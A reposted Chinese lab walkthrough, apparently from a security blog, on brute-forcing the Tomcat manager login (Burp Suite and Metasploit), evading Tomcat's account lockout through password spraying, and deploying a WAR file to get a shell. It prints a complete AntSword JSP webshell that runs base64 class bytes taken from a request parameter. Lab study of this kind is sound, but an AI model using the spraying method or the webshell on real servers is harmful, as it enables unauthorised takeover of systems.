服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

干货 | Tomcat弱口令爆破+War包部署Getshell靶场实战

日期: 来源:菜鸟学信安收集编辑:fstraw
0x01 影响版本

Tomcat全版本

0x02 环境搭建

1.git 拉取资源

cd /rootgit clone https://github.com/vulhub/vulhub.git

进入目录

cd /root/vulhub/tomcat/tomcat8

由于这个镜像启动后登录管理页面存在重复验证的问题,这里不再利用docker-compose.yml

2.docker 拉取镜像

docker pull docker.io/vulhub/tomcat:8.0

3.运行镜像

docker run -dt --name tomcat8 -p 8080:8080 --rm vulhub/tomcat:8.0

查看镜像 id

docker psf041c22a9dfe

替换掉 docker 保存用户名和密码的文件,方便后面进行爆破测试

docker cp tomcat-users.xml f041c22a9dfe:/usr/local/tomcat/conf/tomcat-users.xml

4.重启 docker

docker restart f041c22a9dfe

0x03 复现流程

1. 弱密码爆破

1.1 弱口令爆破– 使用 BurpSuite 爆破

访问manager后台: http://127.0.0.1:8080/manager/html

提示需要输入用户名和密码,配置代理,启动 bp ,抓包,开始爆破:

抓包后可以看到用户名和密码的提交格式为:

username:password

然后对其进行 Base64 编码.

设置爆破变量:

设置 Payload type 为 Custom iterator,在 Position 1 的位置添加用户名:

在 Position 2 的位置添加 : 号

在 Position 3 的位置添加密码:

在 Payload Processing 处设置为 Base64 编码,并且取消勾选 Url Encoding:

爆破成功:

这个顺序很有讲究,在实际测试中,tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户。这时候我们就要考虑如何绕过。

CSDN上有个脚本利用的是占满tomcat缓存的方式绕过,当同一账号大于5次登录,就会采用脏数据去进行登录,直到缓存占满后,又会用剩下的可能存在的username进行登录。直到找到password为止。

tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制https://download.csdn.net/download/lwhat007/10164298

这里我们采用针对同一弱口令去爆破不同账号的方式进行猜解,将可能存在的username放入position1的位置,其次放置password在position3的位置,最后attack时爆破的顺序如下图,就不会针对同一账号锁定。这样做的好处在于我们针对同一个口令去爆破大量用户时,由于用户不同,不会被锁定,同时由于第二次使用这个账户爆破其他口令时,tomcat的缓存有很大几率被占满,就不会导致锁定。

原理就是 密码喷洒

1.2 弱口令爆破–使用msf自带模块爆破

msf有一个自带的爆破该后台的模块,但是显然也没有考虑到后续版本对这个策略的绕过,不过无论哪个绕过方式都不适当,因为请求的次数太多,都需要结合实际考虑是否使用。但是这个模块依旧有意义的点在于它的username和password是十分易于存在的用户名和弱口令,且数目很少,假如存在弱口令,也顶多是这个;不存在弱口令,在无可奈何的情况下,也就是只能采用我们上述的办法。下面是爆破过程。

但可以通过修改用户名字典的方法实现类似 BP 的爆破

首先使用爆破模块

msf6 > use auxiliary/scanner/http/tomcat_mgr_login

展示选项

msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options

可以通过指定 USER_FILE 的方式,实现密码喷洒攻击.但这里不进行演示.

然后设置参数

set rhosts xxxset rport xxx

直接run

从结果可以看出,其并没有考虑到五次密码限制.

2. 部署 war 包,并 getshell

1.使用中国蚁剑生成一个 jsp 马,将其单独放置于一个目录下,进入该目录

mkdir tomcatcd tomcatvim jsp
<%-- 使用时请删除此行, 连接密码: 123 --%><%!class WELL extends ClassLoader{  WELL(ClassLoader c){super(c);}  public Class destructuring(byte[] b){    return super.defineClass(b, 0, b.length);  }}public byte[] temporary(String str) throws Exception {  Class base64;  byte[] value = null;  try {    base64=Class.forName("sun.misc.BASE64Decoder");    Object decoder = base64.newInstance();    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });  } catch (Exception e) {    try {      base64=Class.forName("java.util.Base64");      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });    } catch (Exception ee) {}  }  return value;}%><%String cls = request.getParameter("123");if (cls != null) {  new WELL(this.getClass().getClassLoader()).destructuring(temporary(cls)).newInstance().equals(request);}%>

2.将 shell.jsp 马打包成 war 包

jar -cvf shell.war shell.jsp

或者使用 zip 压缩成 war 包

zip shell.war shell.jsp

3.进入登录界面,部署上传

4.中国蚁剑连接

连接位置为 http://yourip:port/Login/shell.jsp

作者:fstraw

文章来源:https://fstraw.cn/

如有侵权,请联系删除


相关阅读

  • 实战|记一次从linux打进域控

  • 记一次从linux打进域控前言:这个周的话比较忙,就简单复盘一次之前从linux打进域控所涉及的内容,整体来说比较容易理解,从信息收集到权限维持都有所涉及。getshell:通过s2漏洞拿
  • 密码学 |5.6 信息论

  • 5.6 信息论1948年 和 1949年,克劳德·香农(Claude Shannon)发表了两篇论文《A mathematical theory of communication》、《Communication theory of secrecy systems》,它们构
  • 一员工密码设为「123456」,导致被盗 450Gb 数据?

  • 大数据文摘转载自AI科技大本营整理:郑丽媛出品:CSDN现实告诉我们,很多情况下生活会比段子还离谱得多:因员工将密码设成“123456”,导致公司泄露了 450Gb 数据——这一听起来就很
  • 市场核心线梳理

  • 大家好,我是炒股养娃。简单梳理一下市场核心线,其实也就是目前市场的核心矛盾,还聚焦到疫情放开线,包括治疗新冠相关的中药、特效药、熊去牛、防疫等,疫情放开的复苏线旅游、消费
  • 有变化!

  • 大家好,今天市场震荡,而且今天的下跌让人感到不舒服。看了一下日历,成交量越来越小,距离假期越来越近了。所以啊,交易估计也就在这一周了。持股过大年吗?估计不太会,主要这年假太长

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四

最新文章

  • 实战|SRC挖掘初探之随缘XSS挖掘

  • 最近试着去学挖洞,在测某SRC的一些业务时发现以下几个XSS的点。对于一些请求参数在返回的html中以隐蔽的标签形式出现的XSS,感觉还是挺常见的。这里我写了个Bp的插件用来监听
  • 2023HW红队工具

  • 知识星球渗透知识库2022年成绩已持续运营3年多,欢迎师傅们加入分享各种干货资源知识星球渗透知识库(HACK之道)汇集最全、最新的安全知识库,内容不限于红队攻防实战、内网渗透、
  • 实战|一次不完美的Jboss渗透

  • 一.前言最近做渗透测试中遇到一个jboss的站,在其中学到一些在乙方工作挺有用的技巧(这次测试是进过授权测试)在次分享一下二.信息收集先通过namp进行扫描,同时进行目录扫描,发现8
  • 一种鼾声,隐藏着致命危险

  • 有一种打鼾不一般!能打到呼吸暂停、憋气甚至憋醒,如果你或身边人打鼾是这种情况,要警惕可能是「睡眠呼吸暂停综合征」,这是一种需要采取治疗的疾病,严重者甚至会危及生命!一、睡眠
  • 耳鸣耳聋是咋回事?直播聊聊耳朵

  • 明天是 3 月 3 日国际爱耳日,我们想直播聊聊耳朵的问题。为了提前了解大家想听什么,我们决定发起一个投票,热门的话题优先聊。明天晚上 19:00 点,丁香医生直播间邀请到了中国科